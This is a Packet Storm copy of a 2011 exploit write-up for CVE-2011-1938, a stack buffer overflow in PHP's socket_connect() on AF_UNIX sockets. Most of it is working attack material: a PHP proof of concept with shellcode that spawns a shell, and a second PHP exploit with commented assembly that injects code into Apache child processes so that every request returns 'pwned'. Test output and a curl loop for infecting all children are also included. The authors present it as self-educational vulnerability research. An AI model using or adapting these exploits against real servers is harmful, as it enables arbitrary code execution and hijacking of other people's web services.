Lucene search

K
packetstormFilip PalianPACKETSTORM:101665
HistoryMay 25, 2011 - 12:00 a.m.

PHP Socket connect() Stack Buffer Overflow

2011-05-2500:00:00
Filip Palian
packetstormsecurity.com
44

0.019 Low

EPSS

Percentile

88.4%

`Hi there,  
  
This is a quick writeup about some fun with apache based on CVE-2011-1938  
that was disclosed yesterday. While the first POC was literally just a  
trivial POC - the second one was written for self-educational purposes (we  
leared quite a lot which is the most important thing) and we hope it might  
be useful for some other vulnerabilities of this/similar type.  
  
This is an old fashioned stack buffer overflow in the socket module,  
problem occurs in the socket_connect. It uses memcpy to copy path from addr  
to s_un without checking addr length in case when AF_UNIX socket is used.   
  
POC popping a shell:  
-- cut --  
<?php  
echo "[+] CVE-2011-1938";  
echo "[+] there we go...\n";  
define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3");  
define('EVIL_SPACE_SIZE', 1024*1024*8);  
$SHELLCODE =   
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0".  
"\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1".  
"\xcd\x80";  
echo "[+] creating the sled.\n";  
  
$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);  
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;  
$i < strlen($SHELLCODE) ; $i++, $j++) {  
$CODE[$j] = $SHELLCODE[$i];  
}  
  
$b = str_repeat("A", 196).EVIL_SPACE_ADDR;  
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);  
echo "[+] popping shell, have fun (if you picked the right address...)\n";  
$var85 = socket_connect($var79,$b);  
?>  
-- cut --  
  
  
  
Testing POC :  
-- cut --  
test@Vdft02:/home/n1x0n# php ./kaka4.php   
[+] there we go...  
[+] creating the sled.  
[+] popping shell, have fun.  
PHP Warning: socket_connect(): unable to connect [22]: Invalid argument in   
/home/n1x0n/kaka4.php on line 16  
bash-4.1#   
-- cut --  
  
  
Now, popping a shell from a .php file that we just uploaded is quite lame  
and boring isn't (yes you can use remote connect back with RFI etc..) it ?  
Instead we decided to create a shellcode that will do something less common  
and more appropriate to this particular type of vulnerability. As we pretty  
much have a _full_ control over the apache child process and it's memory -  
we can do whatever we like with it. So one of the things that we considered  
to be quite nifty was forcing apache child process to serve a page of our  
choice. Few problems appeared at this point : how apache handles  
connections, how to cleanly get back to apache from our shellcode, how to  
keep our handler in memory and respond to requests etc etc... and after few  
long nights of playing with this we managed to create a shellcode that  
simply "infects" the apache child process that handled connection to our  
"magic" php script, and all new requests that will be handled by this child  
will return a page of our choice. We decided to create a simple apache  
module, and use apache's built in functionality to generate  
content(av_rputs), then to use mmap2 to keep our code in memory when our  
shellcode leaves. Next step is to overwrite _hooks in apache and exit in a  
neat way by signalling the process with SIGPROF thanks to which the signal  
handler cleans everything up behind us. So the main idea is to "infect"  
apache child process with our own code. If we do this several times - we  
can infect _all_ apache child processes effectively hijacking _all_  
requests comming into apache.  
  
This is the result (obviously you need to guess/find few addresses due to  
ASLR like av_rputs & _handle ). Other protections will prevent this from  
working (like SSP,PIE and such).  
  
  
BEFORE (everything works as expected):  
-- cut --  
test@Vdft02:~# curl localhost  
<html><body><h1>It works!</h1></body></html>  
test@Vdft02:~# curl http://localhost/this_does_not_exist  
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  
<html><head>  
<title>404 Not Found</title>  
</head><body>  
<h1>Not Found</h1>  
<p>The requested URL /this_does_not_exist was not found on this server.</p>  
</body></html>  
-- cut --  
  
Then we call our magic file few times, you'll see the SIGPERF signal sent  
by a shellcode (this is a good sign ;-P ) :  
  
-- cut --  
test@Vdft02:~# curl http://localhost/cz.php  
<br />  
<b>Warning</b>: socket_connect() [<a  
href='function.socket-connect'>function.socket-connect</a>]: unable to  
connect [9]: Bad file descriptor in <b>/test/apacz/a/htdocs/cz.php</b>   
on line <b>31</b><br />  
<br />  
<b>Fatal error</b>: Maximum execution time of 30 seconds exceeded in  
<b>/test/apacz/a/htdocs/cz.php</b> on line <b>31</b><br />  
-- cut --  
  
  
This has to be done several times so that we inject code to all child pids  
(not going to add more spam here with all these requests) :  
  
for i in $(seq 1 512) ; do curl http://localhost/cz.php ; done   
  
  
AFTER:   
-- cut --  
test@Vdft02:~# curl http://localhost/  
pwned  
test@Vdft02:~# curl http://localhost/does_not_exist  
pwned  
test@Vdft02:~# curl http://localhost/does_not_exist.php  
pwned  
test@Vdft02:~# curl http://localhost/does_not_exist.jpg   
pwned  
-- cut --  
  
  
  
  
  
And this is the code with the infecting shellcode.  
-- cut --  
<?php  
  
define('EVIL_SPACE_ADDR', "\x00\x00\xff\xb5");  
define('EVIL_SPACE_SIZE', 1024*1024*16);  
$SHELLCODE =  
"\x31\xc9\x31\xd2\x31\xdb\x66\xb9\x00\x02\x66\xba\x07\x00\xbe\x22".  
"\x00\x00\x00\xbf\xff\xff\xff\xff\x31\xed\xb8\xc0\x00\x00\x00\xcd".  
"\x80\x89\xc7\x89\xc3\xeb\x2d\x5e\xb9\x00\x02\x00\x00\xf3\xa4\xb8".  
"\xc0\xc2\x0c\x08\x8b\x40\x14\x8b\x40\x10\x89\x18\x31\xc0\x31\xdb".  
"\x31\xc9\x66\xb8\x14\x00\xcd\x80\x89\xc3\x66\xb9\x1b\x00\x66\xb8".  
"\x25\x00\xcd\x80\xe8\xce\xff\xff\xff\x55\x89\xe5\x8b\x5d\x08\x53".  
"\xeb\x0e\xb8\x43\xd3\x06\x08\xff\xd0\x83\xc4\x08\x31\xc0\xc9\xc3".  
"\xe8\xed\xff\xff\xff\x70\x77\x6e\x65\x64\x0a\x00";  
  
/* allocate memory for shellcode */  
$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);  
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ; $i <  
strlen($SHELLCODE) ; $i++, $j++) {  
$CODE[$j] = $SHELLCODE[$i];  
}  
  
$b = str_repeat(EVIL_SPACE_ADDR,46);  
  
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);  
$var85 = socket_connect($var79,$b);  
  
?>  
-- cut --  
  
  
and above shellcode in a human readable form would be something along these  
lines:  
  
  
-- cut --  
section .text  
  
_start:  
  
xor ecx, ecx  
xor edx, edx  
xor ebx, ebx ; NULL  
mov cx,0x200 ; 512 bytes   
mov dx,0x7 ; PROT_READ|PROT_WRITE|PROT_EXEC  
mov esi,0x22 ; MAP_PRIVATE|MAP_ANONYMOUS  
mov edi,0xffffffff ; -1  
xor ebp, ebp ;  
mov eax,0xc0 ; mmap()  
int 80h  
mov edi, eax  
mov ebx, eax  
jmp short handler  
next_3:  
pop esi  
mov ecx, 0x200  
rep movsb  
mov eax, 0x80cc2c0  
mov eax, [eax+0x14]  
mov eax, [eax+0x10]  
mov [eax], ebx  
; kill(getpid(), SIGPROF)  
xor eax, eax  
xor ebx, ebx  
xor ecx, ecx  
mov ax, 20 ; getpid()  
int 80h  
mov ebx, eax ; pid  
mov cx, 27 ; SIGPROF  
mov ax, 37 ; kill()  
int 80h  
; not reached  
  
handler:  
call near next_3  
push ebp  
mov ebp, esp  
mov ebx, [ebp+8]  
push ebx  
jmp short pwned  
next_2:  
mov eax, 0xb4dc0d3d  
call eax  
add esp, 8  
xor eax, eax  
leave  
ret  
  
pwned:  
call near next_2  
db "pwned",10,0  
-- cut --  
  
  
Found and exploited by:  
Mateusz (shm) Kocielski, Filip (s1m0n) Palian and Marek (n1x0n) Kroemeke  
  
Best regards,  
Marek  
  
`